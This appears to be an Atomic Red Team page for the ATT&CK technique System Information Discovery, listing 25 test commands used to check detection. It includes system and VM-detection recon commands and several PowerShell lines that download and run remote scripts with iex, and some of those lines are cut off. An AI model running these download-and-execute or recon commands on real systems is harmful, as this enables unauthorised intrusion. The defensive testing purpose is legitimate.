



# T1082 - System Information Discovery

## Description from ATT&CK

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](<https://attack.mitre.org/techniques/T1082>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as [Systeminfo](#) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the `systemsetup` configuration tool on macOS. As an example, adversaries with user-level access can execute the `df -aH` command to obtain currently mounted disks and associated freely available space.

Adversaries may also leverage a [Network Device CLI](#) on network devices to gather detailed system information.(Citation: US-CERT-TA18-106A) [System Information Discovery](#) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)  
(Citation: Microsoft Virtual Machine API)

## Atomic Tests

---

- [Atomic Test #1 - System Information Discovery](#)
- [Atomic Test #2 - System Information Discovery](#)
- [Atomic Test #3 - List OS Information](#)
- [Atomic Test #4 - Linux VM Check via Hardware](#)
- [Atomic Test #5 - Linux VM Check via Kernel Modules](#)
- [Atomic Test #6 - Hostname Discovery \(Windows\)](#)
- [Atomic Test #7 - Hostname Discovery](#)
- [Atomic Test #8 - Windows MachineGUID Discovery](#)
- [Atomic Test #9 - Griffon Recon](#)
- [Atomic Test #10 - Environment variables discovery on windows](#)
- [Atomic Test #11 - Environment variables discovery on macos and linux](#)
- [Atomic Test #12 - Show System Integrity Protection status \(MacOS\)](#)
- [Atomic Test #13 - WinPwn - winPEAS](#)
- [Atomic Test #14 - WinPwn - itm4nprivesc](#)
- [Atomic Test #15 - WinPwn - Powersploit's privesc checks](#)
- [Atomic Test #16 - WinPwn - General privesc checks](#)
- [Atomic Test #17 - WinPwn - GeneralRecon](#)
- [Atomic Test #18 - WinPwn - Morerecon](#)

- [Atomic Test #19 - WinPwn - RBCD-Check](#)
- [Atomic Test #20 - WinPwn - PowerSharpPack - Watson searching for missing windows patches](#)
- [Atomic Test #21 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors](#)
- [Atomic Test #22 - WinPwn - PowerSharpPack - Seatbelt](#)
- [Atomic Test #23 - Azure Security Scan with SkyArk](#)
- [Atomic Test #24 - Linux List Kernel Modules](#)
- [Atomic Test #25 - System Information Discovery with WMIC](#)

## Atomic Test #1 - System Information Discovery

Identify System Info. Upon execution, system info and time info will be displayed.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 66703791-c902-4560-8770-42b8a91f7667

**Attack Commands:** Run with `command_prompt` !

```
systeminfo  
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
```



## Atomic Test #2 - System Information Discovery

Identify System Info

**Supported Platforms:** macOS

**auto\_generated\_guid:** edff98ec-0f73-4f63-9890-6b117092aff6

**Attack Commands:** Run with `sh` !

```
system_profiler
ls -al /Applications
```



## Atomic Test #3 - List OS Information

Identify System Info

**Supported Platforms:** Linux, macOS

**auto\_generated\_guid:** cccb070c-df86-4216-a5bc-9fb60c74e27c

**Inputs:**

Name	Description	Type	Default Value
output_file	Output file used to store the results.	path	/tmp/T1082.txt

**Attack Commands:** Run with **sh** !

```
uname -a >> #{output_file}
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi
if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi
uptime >> #{output_file}
cat #{output_file} 2>/dev/null
```



**Cleanup Commands:**

```
rm #{output_file} 2>/dev/null
```



## Atomic Test #4 - Linux VM Check via Hardware

Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware.

**Supported Platforms:** Linux

**auto\_generated\_guid:** 31dad7ad-2286-4c02-ae92-274418c85fec

**Attack Commands:** Run with **bash** !

```
if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/chassis_vendor
if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|vbox"; fi
if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi
if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox"; fi
if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi
if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi
```

## Atomic Test #5 - Linux VM Check via Kernel Modules

Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.

**Supported Platforms:** Linux

**auto\_generated\_guid:** 8057d484-0fae-49a4-8302-4812c4f1e64e

**Attack Commands:** Run with **bash** !

```
sudo lsmod | grep -i "vboxsf\|vboxguest"
sudo lsmod | grep -i "vmw_balloon\|vmxnet"
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
sudo lsmod | grep -i "virtio_pci\|virtio_net"
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
```

## Atomic Test #6 - Hostname Discovery (Windows)

Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 85cfbf23-4a1e-4342-8792-007e004b975f

**Attack Commands:** Run with `command_prompt` !

```
hostname
```



## Atomic Test #7 - Hostname Discovery

Identify system hostname for Linux and macOS systems.

**Supported Platforms:** Linux, macOS

**auto\_generated\_guid:** 486e88ea-4f56-470f-9b57-3f4d73f39133

**Attack Commands:** Run with `bash` !

```
hostname
```



## Atomic Test #8 - Windows MachineGUID Discovery

Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 224b4daf-db44-404e-b6b2-f4d1f0126ef8

Attack Commands: Run with `command_prompt` !

```
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
```



## Atomic Test #9 - Griffon Recon

This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre in order simply print the recon results to the screen as opposed to exfiltrating them. [Script](#).

For more information see also <https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon> and <https://attack.mitre.org/software/S0417/>

Supported Platforms: Windows

auto\_generated\_guid: 69bd4abe-8759-49a6-8d21-0f15822d6370

Inputs:

Name	Description	Type	Default Value
vbscript	Path to sample script	string	PathToAtomicsFolder\T1082\src\griffon_recon.vbs

Attack Commands: Run with `powershell` !

```
cscript #{vbscript}
```



Dependencies: Run with `powershell` !

Description: Sample script file must exist on disk at specified location (#{vbscript})

Check Prereq Commands:

```
if (Test-Path #{vbscript}) {exit 0} else {exit 1}
```



#### Get Prereq Commands:

```
New-Item -Type Directory (split-path ${vbscript}) -ErrorAction ignore | Out-Null  
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic"
```



## Atomic Test #10 - Environment variables discovery on windows

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

**Supported Platforms:** Windows

**auto\_generated\_guid:** f400d1c0-1804-4ff8-b069-ef5ddd2adbf3

**Attack Commands:** Run with **command\_prompt** !

```
set
```



## Atomic Test #11 - Environment variables discovery on macos and linux

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

**Supported Platforms:** macOS, Linux

**auto\_generated\_guid:** fcbdd43f-f4ad-42d5-98f3-0218097e2720

**Attack Commands:** Run with **sh** !

```
env
```





## Atomic Test #12 - Show System Integrity Protection status (MacOS)

Read and Display System Integrity Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.

**Supported Platforms:** macOS

**auto\_generated\_guid:** 327cc050-9e99-4c8e-99b5-1d15f2fb6b96

**Attack Commands:** Run with `sh` !

```
csrutil status
```



## Atomic Test #13 - WinPwn - winPEAS

Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn

**Supported Platforms:** Windows

**auto\_generated\_guid:** eea1d918-825e-47dd-acc2-814d6c58c0e1

**Attack Commands:** Run with `powershell` !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/winPEAS -noninteractive -consoleoutput')
```



## Atomic Test #14 - WinPwn - itm4nprivesc

Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn

**Supported Platforms:** Windows

**auto\_generated\_guid:** 3d256a2f-5e57-4003-8eb6-64d91b1da7ce

**Attack Commands:** Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/itm4nprivesc -noninteractive -consoleoutput'
```



## Atomic Test #15 - WinPwn - Powersploits privesc checks

Powersploits privesc checks using oldchecks function of WinPwn

**Supported Platforms:** Windows

**auto\_generated\_guid:** 345cb8e4-d2de-4011-a580-619cf5a9e2d7

**Attack Commands:** Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/oldchecks -noninteractive -consoleoutput'
```



**Cleanup Commands:**

```
rm -force -recurse .\DomainRecon -ErrorAction Ignore  
rm -force -recurse .\Exploitation -ErrorAction Ignore  
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore  
rm -force -recurse .\LocalRecon -ErrorAction Ignore  
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore
```



## Atomic Test #16 - WinPwn - General privesc checks

---

General privesc checks using the otherchecks function of WinPwn

**Supported Platforms:** Windows

**auto\_generated\_guid:** 5b6f39a2-6ec7-4783-a5fd-2c54a55409ed

**Attack Commands:** Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/otherchecks -noninteractive -consoleoutput')
```



## Atomic Test #17 - WinPwn - GeneralRecon

---

Collect general computer informations via GeneralRecon function of WinPwn

**Supported Platforms:** Windows

**auto\_generated\_guid:** 7804659b-fdbf-4cf6-b06a-c03e758590e8

**Attack Commands:** Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Generalrecon -consoleoutput -noninteractive')
```



## Atomic Test #18 - WinPwn - Morerecon

---

Gathers local system information using the Morecon function of WinPwn

**Supported Platforms:** Windows

**auto\_generated\_guid:** 3278b2f6-f733-4875-9ef4-bfed34244f0a

**Attack Commands:** Run with `powershell` !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Morecon -noninteractive -consoleoutput')
```



## Atomic Test #19 - WinPwn - RBCD-Check

Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn

**Supported Platforms:** Windows

**auto\_generated\_guid:** dec6a0d8-bcaf-4c22-9d48-2aee59fb692b

**Attack Commands:** Run with `powershell` !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/RBCD-Check -consoleoutput -noninteractive')
```



## Atomic Test #20 - WinPwn - PowerSharpPack - Watson searching for missing windows patches

PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn

**Supported Platforms:** Windows

auto\_generated\_guid: 07b18a66-6304-47d2-bad0-ef421eb2e107

Attack Commands: Run with **powershell** !

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3rgey/Invoke-watson
```

## Atomic Test #21 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors

PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.

Supported Platforms: Windows

auto\_generated\_guid: efb79454-1101-4224-a4d0-30c9c8b29ffc

Attack Commands: Run with **powershell** !

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3rgey/Invoke-SharpUp -command "audit"
```

## Atomic Test #22 - WinPwn - PowerSharpPack - Seatbelt

PowerSharpPack - Seatbelt technique via function of WinPwn.

[Seatbelt](#) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

Supported Platforms: Windows

auto\_generated\_guid: 5c16ceb4-ba3a-43d7-b848-a13c1f216d95

Attack Commands: Run with **powershell** !

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3i  
Invoke-Seatbelt -Command "-group=all"; pause
```

## Atomic Test #23 - Azure Security Scan with SkyArk

Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. See <https://github.com/cyberark/SkyArk>

Supported Platforms: Azure-ad

auto\_generated\_guid: 26a18d3d-f8bc-486b-9a33-d6df5d78a594

Inputs:

Name	Description	Type	Default Value
username	Azure AD username	string	
password	Azure AD password	string	T1082Az

Attack Commands: Run with **powershell** ! Elevation Required (e.g. root or admin)

```
Import-Module $env:temp\AzureStealth.ps1 -force  
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force  
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -Argui  
Connect-AzAccount -Credential $Credential  
Connect-AzureAD -Credential $Credential  
Scan-AzureAdmins -UseCurrentCred
```

Cleanup Commands:

```
if (test-path $env:temp\AzureStealth.ps1){exit 0} else {exit 1}
```

```
invoke-webrequest "https://raw.githubusercontent.com/cyberark/SkyArk/3293ee145e9501
```

```
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0}}
```

```
Install-Module -Name AzureAD -Force
```

```
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else
```

```
Install-Module -Name Az -Force
```

## Atomic Test #24 - Linux List Kernel Modules

Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present.

**Supported Platforms:** Linux

**auto\_generated\_guid:** 034fe21c-3186-49dd-8d5d-128b35f181c7

**Attack Commands:** Run with **sh** !

```
lsmod  
kmod list  
grep vmw /proc/modules
```



## Atomic Test #25 - System Information Discovery with WMIC

Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. <https://nwgat.ninja/getting-system-information-with-wmic-on-windows/> Elements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting:

<https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar>

<https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 8851b73a-3624-4bf7-8704-aa312411565c

**Attack Commands:** Run with **command\_prompt** !



```
wmic cpu get name
wmic MEMPHYSICAL get MaxCapacity
wmic baseboard get product
wmic baseboard get version
wmic bios get SMBIOSBIOSVersion
wmic path win32_VideoController get name
wmic path win32_VideoController get DriverVersion
wmic path win32_VideoController get VideoModeDescription
wmic OS get Caption,OSArchitecture,Version
wmic DISKDRIVE get Caption
```

